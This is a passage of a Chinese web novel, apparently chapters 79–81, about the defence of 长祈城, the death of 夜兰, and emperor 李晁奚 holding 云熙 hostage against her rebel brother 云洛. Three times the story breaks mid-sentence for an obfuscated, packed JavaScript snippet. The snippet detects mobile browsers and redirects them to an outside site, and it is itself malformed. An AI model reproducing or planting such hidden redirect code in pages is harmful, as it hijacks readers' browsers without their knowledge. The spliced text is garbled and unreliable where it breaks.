“没想到,到头来,我还需要你来哄劝。”司言自嘲地笑了笑。 “所以,你跟了我一路过来,莫非也是想劝我,不要接下昭武副尉的职衔,偷偷离开长祈城,去一个与世无争的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175214|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方?”阿柔凝眸看他。 司言深吸一口气,“如果你有哪怕一丝想要离开长祈城的想法,我都会不顾一切、想方设法地带你离开。” “但是,你没有。”司言露出一抹勉强的笑容来,“即便我想将你带回江南,劝你离开这些刀光剑影的灾祸,都已没有了立场。可是阿柔,你曾问过我,始终如一地为李家效忠,究竟是不是一个正确的选择。而你如今难道也要为了李家江山,放弃先前所选择的道路吗?” 阿柔闻言,也不气恼,而是耐心地解释道:“阿言,我好像没有和你说过,当初西北宛阳一战,谢阳占领了景西王府后,他都做了些什么。” 司言微微一愣。 “他将我王府上下所有护卫尽数屠尽,只留下些老弱妇孺。上了年纪的仆妇,兵卒可任意使唤打骂。而那些生得貌美的年轻侍女……都逃不过被凌辱的下场。”阿柔回忆起当时听闻此事的情状,全身上下的血液都冷了下来,恨得微微颤抖。 司言面露不忍,上前一步,抓住她的手,“阿柔……” “你不必宽慰我,受到伤害的本不是我。”阿柔平复下来,尽量心平气和地说道,“我是想说,长祈城若是守不住,受苦的必然是城中百姓。林予哲和谢阳是一丘之貉,你不能指望他们对城中百姓怀有仁慈。” 阿柔顿了顿,看向司言,一字一句地回答:“所以,我非是为了李家江山而放弃先前所选的道路,正相反,我戚雪柔始终如一地践行着自己的‘道’,从未偏移。我从不认为自己有拯救天下的能耐,只是无法对目所能及的苦难视而不见罢了。” “阿言,你能明白吗?” 司言定定地看着眼前这个目光坚定的姑娘,只觉得心中对她的情意越来越浓,简直快要溢出来了。 “当然。我的阿柔,看不得这世间的黑暗不公,看不得黎民苍生被肆意践踏、蹂躏至死,更无法对自己力所能及之事袖手旁观。”司言似是释怀般轻笑一声,“我喜欢的,不正是这样的阿柔吗?” 阿柔眯着眼笑了起来。 “但其实,不论你同我解释与否,我都不会干涉你的决定。” “嗯,我知道。”阿柔打趣道,“否则,当初从宛阳城回来的时候,你就该绑着我回故渊门了。” “阿柔还真是会说笑。”司言失笑,“我若这么做了,你不是要恨死我了?” “你是想让我远离危险,我又怎么恨得起来呢?”阿柔笑意微敛,“但也许,你我二人之间,也就止步于此了。” “那我还真是庆幸,没有由着自己的心意来。” “哦?”阿柔敏锐地捕捉到了关键,“你的意思是,你还真动过把我绑走的心思?” 司言:“……” 看着司言心虚的神情,阿柔不禁觉得有些好笑,“干嘛,我又没怪你。再说了,你不也没那么做吗。” “总归是起过这样的心思,还是该心虚一下的。”司言低声说道。 阿柔嘴角微微上扬,“好了,司门主跟了我一路,倒真是辛苦了。只可惜今夜天色太晚,没有时间再请你进来喝个茶什么的。” “倒也不用如此麻烦,我本就没有什么要事,只是想同你说说话。”司言不想再打扰她,“没几个时辰就该天亮了,你明日还要忙,早些休息,我先走了。” “阿言。”不等司言转身离去,阿柔就先叫住了他。 “嗯?” “我们之前总说,等一切事了,要做许多事情。我想……”阿柔柔声说道,“也许此战,便是终结了。” 司言回以一个会心的笑,“嗯,希望如此。” …… 司言回到顾宅已是寅时。时候这么晚,他根本没想到还有人在等他。 司言看到屋内亮着的微弱烛火时有些惊讶,推门而入后,便见宋岳之坐在桌前,面色阴冷疲惫,似乎已等待他已久,手上还紧紧地攥着一封信。 司言见他面色不好,直觉出了什么事,心下一惊,“师兄,怎么了?” 宋岳之一言不发,只是伸出手,将那封已被他攥得皱皱巴巴的信递了过去。 司言忐忑地接过信,见署名是叶温遥,立刻迫切地展开信笺,想要查看其中的内容——自从夜兰消失在河北地区后,叶温遥便一直在寻她的下落,如今来信,应当是有结果了。 然而,当司言看清楚信上的内容时,却仿佛如置冰窟。 分明是黑色的字迹,却显得分外刺眼—— 吾听闻叛军贼首林予哲被一琵琶女所杀,其义子云氏取而代之,又将琵琶女处死,葬于荒野。遂寻访而至,竟见夜兰已成红颜枯骨。知其大仇得报,却未能得享其果,一时悲恸不已。 夜兰已死,吾欲将其遗骨带回江南安葬。长祈一战凶险,师兄恐不能赶回,还望师弟珍重,万望平安。 79. 战前 夜兰死了。 这是所有人都始料未及的事,也是所有故渊门人不能接受的事。 司言接到叶温遥信件后,在窗前枯坐了一夜。第二日一早,他眼下乌青、形容狼狈,但还是进了宫去,将叛军易主的消息告知于李晁奚。 李晁奚闻之,面露惊诧之色,随即拧眉深思,“义子云氏,难道说……” 司言此时的状态不太好,却依旧察觉到了不同寻常,“‘云’这个姓氏并不常见,谢阳的供词曾说林予哲身边有个叫做云洛的小军师,大抵正是此人。陛下可是知道些什么?” 李晁奚没有即刻回答这个问题,而是陷入思考之中。 司言没再出声打扰,旁默默等着。 过了一会儿,李晁奚突然没来由地说道:“云洛既能在短时间内取代林予哲,成为新任首领,想必早先便暗自在军中培养了自己的势力。你说他忍辱负重,筹谋这么多年,为的是什么呢?” 忍辱负重? 司言不明白他从何得知云洛在一直忍辱负重,但还是答道:“也许是为复仇,也许是为权力,又或者二者都有。” “这至尊之位,是天下多少人所渴求之物啊。”李晁奚似是玩味,似是嘲弄地轻笑一声,“叛军虽数量众多,可毕竟名不正言不顺,若没了将领指挥,便成不了什么气候,对吗?” “陛下有办法直取叛军贼首云氏?”司言一愣。 “是有那么一个想法,或许可以试试……”李晁奚沉吟道,“此计若成,或可一举拿下云洛的性命,平定叛乱。” …… 阿柔成为昭武副尉的第二日,从家中取了宝剑“照夜”,又收拾了些必需之物,又往军营去了。 叛军不日便会兵临城下,阿柔必须尽快和军营将士熟悉磨合,并与陈焕相商守城计策阵法。一天下来,几乎忙得脚不离地。 夜晚,阿柔坐在营帐之中,点了烛火,画起阵型图来。 她用了一整天的时间来熟悉这支军队的作战风格、优势和特点,以此为基准,制定整套战略战术。 可惜时间到底还是太紧张了,不然她一定能做出更为周全的计划与对策。 等做完案头的工作,已是深夜。 阿柔收拾桌案时,有人掀帘而入。 她抬头一看,发现来人竟是司言,有些惊讶,“你怎么来了?” 司言语调低沉,回答说:“陛下交予我一枚令牌,可任意通行四面军营。” 阿柔调侃着道:“那你这样算不算滥用职权?” 司言声音很轻,“也许吧。” 阿柔敏锐地察觉到他的情绪不太对劲,敛了微笑的神色,“阿言,怎么了?可是出了什么事?” 司言深吸一口气,似乎在极力克制着心中的情绪。 过了好一会儿,他终于抬起头来,眼眶微红,声音带着几分颤抖,“阿柔,夜兰死了。” “什么?”阿柔睁大眼,被这突如其来的噩耗打得措手不及,几乎是呆愣在了原地。 “她一个人去了叛军大营,杀了林予哲,却没能逃出来。”司言克制了一整天的悲痛与愧疚,在见到阿柔的这一刻,再也忍不住了。 他情绪翻涌,头脑酸胀,脚步虚浮,几乎要站不稳。他抓住阿柔的胳膊,仿佛将要溺死之人抓住了一块木板。 “我明明已经猜到她会去寻仇,却还是让她在我眼皮子底下离开了。倘若当初在宛阳城,我能多关注她几分,也许就不会给她以身涉险的机会。也许,她就不会死……” 阿柔很少见司言如此悲伤脆弱的模样,心疼地上前去扶住他,让他先坐下来。 司言本不愿在心上人面前失态,他掩着面,深深地呼吸,希望能以此来平复心绪。 阿柔同样十分难过,心间酸涩不已。 她与夜兰交情并不深。但是当初谢阳占领宛阳城之时,倘若不是夜兰带着故渊门人出手相助,也许她这一条命便要葬送在谢阳手中,抑或是被抓起来,当作威胁阿爹和大哥的一枚筹码。 滴水之恩,当涌泉相报。更不必说是救命之恩。 阿柔还没来得及报答夜兰当日出手相助的恩情,她竟已香消玉殒。 “夜兰只身前去敌营刺杀贼首的时候,我在做什么呢?”司言懊恼悔恨,自责不已,“我还在算计着,怎样才能让陛下心甘情愿地放故渊门人在后方协助,而不是在前线拼杀搏命。” 让故渊门负责传递主将命令,一开始就是司言提出来的。 如此提议,并不只是从宛阳城一战得来的经验教训,他也有自己的私心——那就减少故渊门的伤亡损耗。 只要不在前线搏命,即便长祈城破,以江湖中人的武功,要想全身而退,也是易如反掌之事。 若真有那么一天,他会带着门中弟子,还有阿柔、戚二哥他们一同离开这里。 司言原先是这样打算的。 但他怎么也没想到,李晁奚突然当着众臣的面,将阿柔封为昭武副尉,命其与陈焕一起领军镇守城南。 这不仅是不想浪费阿柔的才能,也是在敲打司言。 司言的这些小心思,李晁奚清楚得很。 而当他看到自己所爱的姑娘奔赴前线、不惧生死的时候,一定会为自己提前寻找后路的行为而感到愧疚,做起事来也会更加拼命。 李晁奚将人心拿捏得相当明白。 夜兰之死虽不在李晁奚的算计之内,却阴差阳错地将司言内心的愧疚之情顶入了巅峰。 阿柔心疼极了,张开双手抱住他,安抚着说道:“你做得并没有错。故渊门本是江湖门派,有什么理由为了朝廷的过错而付出性命?而且,并不只是在前线拼杀才算为守城一战出了力,向四方城门传递主将命令,本就是一件至关重要的事。至于夜兰……” 阿柔眸中凝出哀伤之色,“斩杀仇敌,本是她多年夙愿。她为复仇而死,却为仇人之子所杀。该死的分明是当初酿下恶果之人,你又何苦将过错揽在自己的身上?” “我知道。我只是觉得,有的事情,明明来得及阻止……”司言下巴抵在阿柔的肩头,闷声说道。 “你要怎么阻止?”阿柔温声道,“萧家出事的时候,你也不过是个一两岁的婴孩,又能做得了什么?” “你知道我说的不是这个……” “你是想说,你明可以阻止夜兰,让她不要一个人去寻仇,搭上一条性命,是吗?”阿柔说道,“可是阿言,早在你我还没离开宛阳城的时候,我就说过,无论结果如何,这都是夜兰自己的选择。她决意要去,你能阻她一次,还能阻她第二次,第三次吗?” 司言半晌没有说话。 “我知道,阿言是个重情重义的人。”阿柔耐心地劝说着,“宛阳城一战后,夜兰曾与我说过,她打心眼里敬佩你这个门主,也是真心实意地喜欢着故渊门。所以我想,夜兰也一定不忍心看到你因为她的遭遇而如此苛责自己。” “夜兰……她很会照顾人,又好说话,门中的兄弟姐妹们都很亲近她。”司言回忆着说道,“叶师兄曾告诉我,以前还在江南的时候,他总能看到夜兰一个人坐在檐下,微笑着看师弟师妹们嬉笑打闹。叶师兄说,他觉得那就是这世上最好看的风景。” “叶师兄他……”阿柔隐隐有一个猜想,犹豫着要不要开口验证。 “他喜欢夜兰。”司言知道她想问什么,干脆直接回答了。 阿柔的话语陡然之间哽塞住了。 过了一会儿,她才开口说道:“夜兰知道吗?” “叶师兄是个愣头青,察觉到自己的心意后,直接就告诉夜兰了。”司言回想起当年的事情,轻笑一声,“夜兰没答应他,他倒也没气馁。一次不成,过段时日便再说一次。就这样,不知被拒绝了多少次,不知过去了多少年,夜兰终于松口了。” 司言深吸一口气,“夜兰说,等到兄弟姐妹们身上的冤屈都得以洗雪,故渊门终于完成了多年来的夙愿,她就答应叶师兄。” “夜兰一直都知道,她面对的仇敌,是林予哲和梁朝越,萧家的旧案,不是那么容易翻的。”司言沉着声音说道,“先师曾许给众多故渊门弟子昭雪旧案的承诺,但我找到夜兰后,从未应承她一定能为萧家翻案。即便如此,夜兰依旧心甘情愿地为故渊门做了许多事。我一直觉得,她如此付出,我却未能回以等价的回报。” “阿言,一个人不会无缘无故地对另一个人好。夜兰甘愿为故渊门,为你这个门主做事,你觉得是为什么?”阿柔听他絮絮叨叨地讲了许多,也不觉得烦,想方设法地想让他心情好一些,“是因为夜兰感念你将她带回故渊门,给她一处容身之所的恩情啊。” 阿柔见他不说话了,继续道:“如今只死了一个林予哲,另一个陷害萧家的罪人梁朝越,现在还跟着先帝流亡在外呢。你若真想为夜兰做些什么,就打起精神来,先好好应对接下来的守城之战,待平定这场叛乱,为萧家洗雪冤屈,让梁朝越付出应得的代价。” 空气陷入一阵静默。 过了好一会儿,司言似是终于缓了过来,松开了阿柔的怀抱,低声说道:“你说得对,萧家的仇还没有结清。而杀了夜兰的人,我一定让他偿命。” “这就是了。”阿柔微微松了口气,“谁欠下的债,便该由谁来偿还。恶人还没能得到应得的惩罚,现在远不是自怨自艾的时候。” “嗯,我明白。”司言咧出一个有些勉强的微笑,“真是抱歉,大敌当前,我却因为自己的情绪而来打扰你。” “不要道歉,夜兰之于你,既是得力的帮手,也是多年的好友。我与她仅有几面之缘,闻此噩耗,亦不免扼腕叹息,更不必说是你了。”阿柔摸了摸司言的头发,“再说了,我与你约定好要携手共此一生,承担你的诸般情绪,本就是我应该做的呀。” “不,这本不是你应该做的。”司言心中酸软一片,“都是阿柔愿意这样惯着我。” 阿柔笑着道:“是啊,我惯着你,你不乐意?” “乐意,怎么可能不乐意?” “既然乐意,那就乖乖听我的话,不要总将错处揽在自己身上。”阿柔说道,“我若是恶人,看你这样抢着认错,半夜做梦都能笑醒。” 司言失笑,“是,我知道了。” 阿柔握住他的手,“没事的,我会和你一起,为萧家洗雪冤屈,为夜兰报仇。她的死,绝不会就这样轻飘飘地揭过去。” 司言心绪涌动,鼻头酸涩,应道:“谢谢,阿柔。如果没有你,我真不知道这些话还能去找谁说了。” “好啦,我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200969|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是在嘛。”阿柔语调轻柔。 “每次心情不好时都要你哄,我倒有些不好意思了。”司言有些赧然地笑了一下。 “那有什么,你也可以反过来哄我呀。”阿柔眨眨眼。 司言将手摸上她的头发,“营中情况如何,还应付得过来吗?” “我可是将军的女儿,什么事解决不了?”阿柔意气十足地说。 “嗯,我就知道难不倒你。”司言轻轻地笑了一下,“但若真遇到什么不好解决的人或事,也别一个人硬扛着。” “我心里有数,放心吧。”阿柔保证道。 “好了,这么晚,我就不打扰你了。”司言站起身来,“谢谢你愿意听我说这么多。真的,谢谢你。” “这么客气干嘛呀。”阿柔轻声说,“那么现在,你想明白了吗?” “想明白了。”司言眼睫低垂,沉着声音道,“不止是夜兰,我故渊门中还有许多弟兄的性命都丧于战乱之中。只有赢下守城之战,斩杀贼首,我才能为他们复仇。我一定,会为他们复仇。” …… 与此同时,长祈城最北端的皇城,巍峨的宫殿之上,李晁奚一袭玄衣,迎着夜风凭栏而望,将整个长祈城尽数收归眼底。 前线探子来报,叛军因首领变更,在原地整顿了几日,而后又重新启程,直奔长祈而来。 按路程来看,约莫还有不到三日,叛军就要到了。 李晁奚回想起当日,父皇带领臣子宫妃出逃的那夜,他其实得到了父皇的传信。 可是他没有走。 李晁奚敏锐地意识到,这是夺取皇位最好的机会。 即便名不正言不顺,传出去,总也比弃城而逃的皇帝要好几分。 更何况,李晁奚决意留在长祈城,接手这巨大的烂摊子,本就不只是为了登基为帝。 他默然无声地凝望远方灯火,眼眸深邃,仿佛盛着一池深不见底的潭水。思绪飘渺,恍然间飘到了很多年前。 在他很小的时候,父皇也曾疼宠过他,赞叹他的天资,视他为骄傲。而李晁奚也是如此尊敬崇拜着这个青年时候意气风发、大有作为的父皇。 可突然有一天,一切都变了。 父皇看他的眼神变得漠然冷酷,甚至夹杂着几丝恨意。 他不明白自己做错了什么,为何突然遭受如此冷遇。 后来他明白了。 因为他根本就不是父皇的亲生儿子。 一时之间,他不知是该恨阿娘的背叛,恨自己身上流着的卑贱血脉,还是恨父皇的抛弃。 他似乎没有任何理由去恨李钰——毕竟无论换做是谁,遭到枕边人背叛,又替旁人养了几年的孩子,一定都会感到愤怒与恶心吧。 一开始,他的确是这么告诉自己的。 但一个没有母妃,又失去父皇宠爱的孩子,在宫里过的究竟是怎样的日子呢? 是被排挤、被陷害,被嘲弄、被欺凌……更有甚者,不惜使用肮脏的手段,要置他一个半大的孩子于死地。 直到一次落水后发了高烧,险些丧命之后,李晁奚假装自己被烧坏了脑子,从此以后再也不在众人面前展现自己的才能,总算没人再盯着他的性命不放。 即便如此,他的日子也仅仅只是堪堪能活下去了而已。 在这皇宫之中,谁都能踩在他的头上,肆意欺辱。 而他一直以来敬爱尊崇、视为榜样的父皇,只是坐在高位之上,投给他冷漠的视线,没有维护,也没有抚慰。 李晁奚无法再说服自己不恨李钰。 可最可笑的是,他恨李钰的同时,又无法割舍那份对父亲的眷恋与敬爱——哪怕李钰本不是他的亲生父亲。 即使后来,李钰逐渐年老昏聩、沉迷声色,他仍旧将青年时期英明神武的那个帝王当作自己的榜样。 在如此矛盾的感情之下,李晁奚做出了决定—— 他要夺走那个至尊之位。 他要将过去欺辱过他、陷害过他的人狠狠踩在脚下。 他要让父皇眼睁睁地看着一个没有皇室血脉的孩子登上皇位,并且做得比从前的他还要好,做得比任何人都要好。 这就是他对李钰最大的报复。 而如今,青函关失守,叛军直往长祈城而来。 要想弃城而逃,保全自己的性命,固然是一件容易的事。 但那也就意味着,往后即便是平息了叛乱,他的生平之上也必然会染上“弃城而逃”的污点。 李晁奚想要的从来都不只是皇位。 他要的是尊敬、是名声、是流芳百世的功绩。 他要成为超越李钰的千古明君,为后人所称颂。 当然,如果能有什么人给予他名为“爱”的感情,当然是更好的。即便没有,他也并不强求。 “陛下,夜深了。” 李晁奚的思绪被拉回了深夜的长祈城,他回过神来,又深深地看了这座看似平静,实则已陷入危局的城池一眼,随即转过身去。 “走吧。”李晁奚淡淡地说道。 不久之后,长祈城就将迎来生死之战。 而他在位期间的第一件功绩,就由此战开始。 巍峨的宫殿之上已不见了人影,唯有夜风吹过。 80. 舍弃 两日后,长祈城外,叛军压境。 二十万大军乌泱泱地连成一片,排列有序地行进,直至长祈东侧城门一里之外。 为首之人约莫二十来岁,一袭甲胄,骑于骏马之上。他肤色苍白,生得清俊,又有几分异域的浓丽之感,很容易便会给人一种“十指不沾阳春水”的错觉。 只有了解云洛的人才会知道,这样一张俊美面目之下,装的是一颗阴狠心肠。 而此时与云洛并排而行的副将薛重山尤其明白这一点。 早些年知道云洛存在的人其实并不多,大多数人只知道林予哲身边养了一个义子,模样生得比女人还好看。 说是义子,林予哲心里存了些什么龌龊心思,大家心里都清楚。私底下谈论起来,也是彼此了然窃笑,丝毫没把云洛当成个人物。 可后来,事情的发展变得不一样了。 云洛不再只是林予哲养的义子,他凭借着聪明才智,成为林予哲手中最好用的一把利刃,在军中也获取了一席之地。 在林予哲的阻挠之下,大多数人只知有“小军师”这么个人,却未能一窥其貌。 而林予哲一心沉醉于自己的千秋大梦之中,浑然不知自以为拿捏在手的那只兔子,才是窝在洞里伺机而动的毒蛇。 云洛暗地里扶持培养自己的势力,策反像薛重山这样的统领。 在这过程中,林予哲也不是没有猜忌怀疑过,但总能被云洛圆过去。云洛是个稳妥的人,没有把握的事情向来不做,没有信心拉拢的人也不会贸然游说。他每下一步棋,便要找好一条退路。 薛重山常常觉得云洛不像个二十出头的青年,倒像个四五十岁的老人。 但如此谨慎的做法,确实换来了好的回报——云洛的势力一步一步扩大,最终借着那女刺客的力,除掉林予哲,一举夺得军权。 其实按照云洛的计划,林予哲本不会死得那样早。 毕竟攻破长祈才是当务之急,如若镇守长祈的将领是根硬骨头,当真能撑到援军到来,那他多年的计划算是功亏一篑了。在这个节骨眼上,他并不想多生事端。 但在刺客刺杀那般情形之下,若留下林予哲一条性命,他必然会彻查杀手的身份,耽误时间不说,也许还会怀疑到云洛头上。 权衡之后,云洛也唯有趁机杀死林予哲这一条选择了。 林予哲身殒后,军中果不其然出现了部分动乱。但好在云洛的布局足够长久,最终还是将局势稳了下来。 解决掉林予哲这头禽兽与军中动乱,接下来,便是长祈城的决胜之战。 云洛坐在马背之上,抬头望向那巍峨壮阔又庄严肃穆的城门,只觉自己在它面前像是一粒浮尘,如此渺小,如此脆弱,如此不堪一击。 即便如此,他仍要攻下这座城池。 他要将这座锁住阿姐的囚笼捣得天翻地覆,他要让所有伤害过阿姐的人付出代价。 云洛至今仍旧记得,当他听闻阿姐死讯的那日,浑身上下的血液都冷了下来,眼前的一切都开始模糊颠倒。 他失声痛哭,哭到最后几欲干呕。 熙贵妃薨逝的消息,是从自己的心腹那里得知的。林予哲许是为了将他心甘情愿地锁在身边,对他隐瞒此事。 因此,哭过之后,他仍要装作一副什么也不知道的样子面对林予哲,强忍着对阿姐逝去的悲伤,以及对林予哲的恨意,继续扮演乖巧懂事的“义子”。 但好在,这一切都结束了。 侍于仇人身侧,抛却一切尊严的日子,终于结束了。 “阿姐,我来接你回家了。”云洛低声沉吟。 薛重山没能听清云洛在说什么,但他也并不在意。 云洛总喜欢自言自语,薛重山早已习惯。 果不其然,没过一会儿,云洛便已从自己的思绪中回过神来,视线陡然清明。薛重山知道,没有什么再出声提醒他的必要了。 云洛隐约看见个青年立于城墙之上,身侧簇拥着身着甲胄的士兵。 只见正中的那青年将手一挥,身旁士兵拉开弓,仔细瞄准叛军的方向—— 弦声一响,飞箭离弦,划破空气,眨眼的功夫便插在距云洛面前三百尺的地面之上,箭镞上的布帛随着一阵风轻轻摆动。 云洛微微眯起了眼。 那城墙之上的青年并未着甲胄,却能号令身侧将士,他会是何身份? 莫非这便是曾经的承王李晁奚,如今的大昭新帝? 这一出是要做什么,是有什么计谋? 云洛坐在马背上,用剑鞘拍了拍身边步兵的背,直接将他推了出去,口气不容置疑,“你,过去将那把箭拔来给我。” 那步兵应了声,战战兢兢地向前小跑而去,将插在地上的箭拔起来后,不敢再原地多耽搁,慌忙跑回来,将那支箭连带着布帛一同递呈给云洛。 云洛展开布帛,只见其上写着一句话—— 贼首林予哲已死,此时停手,朕可不予追究。 云洛冷笑一声,随手一扬,将那张布帛丢在地上,随即向城楼上那个人影投去轻蔑而挑衅的眼神。 但是下一秒,他却笑不出来了。 因为他看到了阿姐。 他阔别多年,思念入骨的阿姐。 云洛几乎是立刻愣在了原地,脑海中盘旋着数不清的问题—— 阿姐怎么在这? 她,她还没死?! 隔着护城河,李晁奚向他遥遥喊道:“云洛,你可认得这是谁?” 昔日宠冠六宫的熙贵妃,如今一身粗布衣裳、披头散发、满面尘灰,再不复曾经的明艳尊贵。但即便如此,依旧难掩那张美得惊心动魄的脸。 云熙被几个士兵押着,身体前倾,贴在垛口上,用尽全力向亲生弟弟发出一声带着哭腔的呐喊:“云洛!” 云洛心间一颤,身上血液翻滚,“阿姐!” 阿姐没有死! 太好了,阿姐真的没有死! 云洛的内心被极度的狂喜占据,几乎要失去理智。 他仰起头,遥遥喊道:“李晁奚,你这是什么意思?” 李晁奚负手而立,扬声道:“若你现在停手,朕可放你和云熙自由。但你若执迷不悟,她的性命就不保了。” 云洛瞳孔骤缩。 薛重山心焦地大喊:“满口谎言、阴险狡诈的狗皇帝,守不住皇城,便只会用威逼利诱这一招么。云将军绝不会相信你的鬼话!” 这话不只是对李晁奚说的,也是对云洛说的。 云洛当然明白李晁奚这番话不可信。 从他跟着林予哲起兵北境起,就已经没有任何回头路了。 他是叛军贼首,李晁奚怎么可能放他自由。 即便现在,朝廷也许无力追究他的诸般罪行,但之后呢?待到新帝整顿朝纲、重振旗鼓之后,又怎么可能放任他这个反贼潇洒在外? 如今的局势,早已是你死我活,没有分毫商量的余地。 云洛心里清楚明白。 而李晁奚也从未天真地觉得,仅仅只靠云熙这一枚筹码,就能逼退二十万大军。退一万步来说,即便云洛降了,他身后也必然会有人取代主将的位置。 李晁奚抛出这枚筹码,从来不是为了逼退大军。 他居高临下地俯视着那为首的青年,语气之中带着一些轻慢,“前半句话,你也许不会信。但后半句话,你敢不信吗?” 云洛心魂俱颤,死死地盯着城墙之上,眸中全是蚀骨恨意。他红着眼喊道:“狗皇帝,你若伤我阿姐一根头发,我要你满城陪葬!” 李晁奚有一瞬沉默。 而一旁的云熙却沉不住气了。她惊惶而焦急地大喊着:“洛洛,不要!你要真的那么做,一切都挽回不了了!” 云洛听到了阿姐声嘶力竭的呐喊,内心悲怆苦涩。 阿姐说,如果他如此做,一切都将无法挽回。 可是阿姐,倘若一切已经无法挽回了呢? 云洛站在原地,居然像个犯了错的孩子一般,感受到了久违的茫然无措。 在遇到林予哲之前,云洛和阿姐相依为命。阿姐为了养他,给人家做奴做仆,受人刁难、遭人欺凌。云洛看在眼里,满是心疼。 年幼的云洛为阿姐打抱不平,“那些人家里不过是有几个钱,凭什么就要欺辱打骂咱们!阿姐,咱们不受这个气了,好不好?” 而云熙只是摸摸他的头发,温柔地笑道:“没办法,都是为了讨口饭吃嘛。” 云洛享受着姐姐的爱抚,却还是有些愤愤不平,“可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235114|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿姐,凭什么有的人生下来便锦衣玉食,我们却只配吃些残羹剩饭,还要感谢他们的施舍!” 云熙不知道该怎么回答他。最终,她只是叹了口气,无奈地说道:“人各有命啊。” 云洛不信命。 若是天意要他生来卑躬屈膝,为了活命只能舍弃一切尊严骄傲,只能跪在别人的脚边摇尾乞怜,那为什么不能是天意的过错! 云洛没有再反驳阿姐,只是暗暗发誓,一定要让阿姐过上好日子。 从前的日子虽然苦,但有阿姐陪伴在身边,倒也不算太过难捱。阿姐温暖的怀抱,宛如寒夜之中的一抹亮光、一把火焰,让他感到温暖而安心。 而年少时姐弟二人相互依偎、抱团取暖的身影,终究随着时光流转而缓缓逝去,再也追不回,找不见。 云洛被阿姐的呐喊带回现实。 城墙之上,云熙仍旧在苦苦相劝,“洛洛,千万别做傻事!一旦拿起了屠刀,这辈子就放不下了!” 是啊,在阿姐心里,他仍是当年那个只能依偎在阿姐怀里,被阿姐保护的小男孩。 阿姐根本不知道,他走到现在这一步,走到这么多人面前,究竟付出了怎样的代价。 阿姐不知道,他的双手早就沾满了鲜血,这辈子都洗不干净了。 李晁奚泰然自若地站在城墙之上,淡然看着眼前的一切。他并不着急想要知道云洛究竟会做出怎样的选择,无论如何,他都有应对之法。 薛重山则是默然无声地将手按在了刀柄之上,眸中闪过一丝寒光。 真正陷入痛苦与挣扎之中的,只有云洛一人。 云洛绝对不想放弃阿姐。 可难道要让他放弃筹谋多年、近在眼前的大业吗! 那他这么多年忍辱负重,侍于仇人身下是为了什么?机关算尽,冒着身死的风险在营中培植党羽势力又是为了什么? 若他轻而易举地便要放弃精心算计的一切,他这一生岂不是像个笑话! 为什么非要让他做出选择,为什么非要舍弃一样珍贵的东西,才能获得另一样? 谁能告诉他,到底应该怎么办??? …… 云洛心里清楚,他会在此犹豫,便已说明了一切。 要做出选择,其实根本没有那么难。 “阿姐!”他大声喊道。 云熙停止了劝阻,怔愣地站在原地,想知道他要对自己说什么。 云洛却仿佛丧失了浑身的力气一般,低声哽咽,“已经回不去了……” 隔着一段距离,云熙当然听不清楚他喃喃自语些什么,也看不清他面上神色。 不知为何,她突然觉得内心一阵刺痛,密密麻麻的,令她额角泛起冷汗,痛得几乎要死过去。 时间在云洛的沉默之中一点一点流逝,云熙面上的血色也慢慢褪去。 云洛还未说出他的选择与答案。但也许是至亲血脉之间的奇特感应在作祟,云熙的直觉告诉她,云洛不可能回头了。 云洛不会来接她回家了。 他拥有更好的选择,拥有唾手可得的大业,拥有夺取世间至高权柄的机会。 这些才是云洛真正想要的。 得到这个结论后,云熙有一瞬间的茫然。 事情为什么会发展到这个境地呢? 她是那样疼爱云洛,将云洛视作活下去的动力,视作自己的一切。 她和云洛怎么会走到今天这一步呢? 她该去怪谁?她该去恨谁? 云熙张了张口,却发现自己不知道该说些什么,千言万语卡在喉间,最终化为几声嘶哑而无意义的低鸣。 电光火石之间,云熙不知从哪里来的力气,拼命挣开了身后的束缚,爬上垛口,继而毫不犹豫地向下一跃—— “阿姐!!!”云洛目眦尽裂。 云洛的一切理性在一瞬间尽数破碎,他骑马向前奔去,试图接住那具正在下坠的单薄身躯。 云熙闭上双眼,任凭自己下落。 她的眼角划过泪水,唇边却勾起一抹解脱般的淡然笑意。 变故发生得太快,所有人都相隔太远。因此没人能看清云熙在跳下城墙的那一刻,嘴唇翕动,喃喃自语。 她说:“洛洛,阿姐成全你。” 81. 坚守 “阿姐!!!” 云洛发出一声凄厉的嘶喊,没有经过任何思考,便已策马向前飞驰而去。 薛重山神色一凛,冲着他的背影大喊道:“云将军,这是陷阱,这是圈套!” 与此同时,李晁奚站在城墙之上,眸中暗芒滑过。他一抬手,两侧一直待战的弓兵整齐划一地站起身来,拉开弓箭,朝着城池前方那抹飞速移动的身影射去! 